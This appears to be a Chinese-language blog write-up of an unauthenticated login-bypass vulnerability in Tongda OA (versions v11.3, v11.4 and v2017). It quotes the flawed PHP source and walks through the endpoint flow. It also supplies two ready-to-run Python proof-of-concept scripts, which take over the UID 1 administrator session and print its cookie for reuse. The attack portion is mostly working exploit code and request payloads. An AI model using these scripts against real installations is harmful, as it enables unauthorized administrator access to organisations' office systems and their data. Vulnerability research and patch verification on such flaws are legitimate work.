前言
通达OA又爆出前台任意用户登录漏洞,此CMS的漏洞还是挺多的,此次的漏洞有很多版本差异。
漏洞分析
v11.3
在v11.3中漏洞文件位置在logincheck_code.php
<?php
include_once "inc/session.php";
session_start();
ob_start();
include_once "inc/conn.php";
include_once "inc/td_core.php";
include_once "inc/utility.php";
include_once "inc/utility_cache.php";
include_once "inc/TRedis/TRedis.php";
$redis = TRedis::redis();
$UID = intval($_POST["UID"]);
$msg = "";
$PARA_ARRAY = get_sys_para("SEC_PASS_FLAG,SEC_PASS_TIME,SEC_RETRY_BAN,SEC_RETRY_TIMES,SEC_BAN_TIME,SEC_USER_MEM,SEC_KEY_USER,LOGIN_KEY,SEC_ON_STATUS,SEC_INIT_PASS,LOGIN_SECURE_KEY,LOGIN_USE_DOMAIN,DOMAIN_SYNC_CONFIG,ONE_USER_MUL_LOGIN,IS_CPDA_BYIP,USE_DISCUZ,OA_URL,WEBROOT,DEFAULT_ATTACH_PATH,MOBILE_PC_OPTION,TD_UNIQID");
while (list($PARA_NAME, $PARA_VALUE) = each($PARA_ARRAY)) {
$PARA_NAME = $PARA_VALUE;
}
$query = "SELECT * from USER where UID='$UID'";
$cursor = exequery(TD::conn(), $query);
..........
if ($ROW = mysql_fetch_array($cursor)) {
$SECURE_KEY_SN = $ROW["SECURE_KEY_SN"];
$_SESSION["LOGIN_USER_NAME"] = $LOGIN_USER_NAME;
$_SESSION["LOGIN_USER_PRIV"] = $LOGIN_USER_PRIV;
$_SESSION["LOGIN_USER_PRIV_OTHER"] = $LOGIN_USER_PRIV_OTHER;
$_SESSION["LOGIN_SYS_ADMIN"] = (($LOGIN_USER_PRIV == "1") || find_id($LOGIN_USER_PRIV_OTHER, "1") ? 1 : 0);
$_SESSION["LOGIN_DEPT_ID"] = $LOGIN_DEPT_ID;
$_SESSION["LOGIN_DEPT_ID_OTHER"] = $LOGIN_DEPT_ID_OTHER;
$_SESSION["LOGIN_AVATAR"] = $LOGIN_AVATAR;
$_SESSION["LOGIN_THEME"] = $LOGIN_THEME;
$_SESSION["LOGIN_FUNC_STR"] = $LOGIN_FUNC_STR;
$_SESSION["LOGIN_NOT_VIEW_USER"] = $LOGIN_NOT_VIEW_USER;
$_SESSION["LOGIN_ANOTHER"] = $LOGIN_ANOTHER;
$_SESSION["LOGIN_DEPT_ID_JUNIOR"] = $LOGIN_DEPT_ID_JUNIOR;
$_SESSION["LOGIN_CLIENT"] = $LOGIN_CLIENT;
$_SESSION["LOGIN_USER_SEX"] = $LOGIN_USER_SEX;
在Line 12
行获取了UID
参数,然后竟然直接带入到了20行的sql语句查询,后续没有对权限的验证处理在Line 180-196
就保存到了SESSION
中。
payload:
POST /logincheck_code.php
UID=1
即可获取到cookie
,替换当前cookie
即可登陆
import requests
import json
headers={}
def getV11Session(url):
checkUrl = url+'/general/login_code.php'
print(checkUrl)
try:
headers["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)"
getSessUrl = url+'/logincheck_code.php'
res = requests.post(
getSessUrl, data={ 'UID': int(1)},headers=headers)
print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
except:
print('[-]Something Wrong With '+url)
if __name__ == "__main__":
getV11Session("http://xxxxx/")
替换cookie
访问/general/index.php
即可
在v2017 2018.06.xxx版本中同样是可用的
v11.4
相比于v11.3,11.4在logincheck_code.php
中的Line15-19
加入了验证判断
Line14
中login_codeuid
变量来于TD::get_cache
,只要能够绕过此处的验证即可和v11.3中一样利用。要绕过的条件:
- 获取
CODEUID
- 设置cache
"CODE_LOGIN" . $CODEUID
搜索TD::get_cache
发现general/login_code.php
进行了此操作
这里获取到codeuid
后直接再post数据到logincheck_code.php
即可
替换cookie登录即可
同样在ispirit/login_code_check.php
、general/login_code_scan.php
、ispirit/login_code.php
三个个文件也可以结合利用
ispirit/login_code_check.php
:
Line 5-6
获取codeuid
和login_codeuid
这里的cache类型为CODE_LOGIN_PC
且type为confirm
才可进入到Line 193-209
的设置SESSION
流程。
general/login_code_scan.php
:
最后缺少的就是
codeuid
的获取,恰好在ispirit/login_code.php
中输出了codeuid
梳理下流程:
- 进入
ispirit/login_code.php
获取codeuid
- 使用获取的
codeuid
进入general/login_code_scan.php
设置type为confirm
- 使用
codeuid
进入ispirit/login_code_check.php
poc:
import json
import requests
def getSession(url):
vulUrl = url+'/ispirit/login_code.php'
res = requests.get(vulUrl)
codeuid = json.loads(res.text)['codeuid']
print(codeuid)
confirmUrl = url + '/general/login_code_scan.php'
data = {
'codeuid':codeuid,
'uid': int(1),
'source': 'pc',
'type': 'confirm',
'username': 'admin',
}
res = requests.post(confirmUrl,data=data)
status = json.loads(res.text)['status']
print(status)
if status == str(1):
seesionUrl = url + '/ispirit/login_code_check.php?codeuid='+codeuid
res = requests.get(seesionUrl)
print('[*]cookie:'+res.headers['Set-Cookie'])
else:
print('[-]failed')
if __name__ == "__main__":
getSession('http://xxxx/')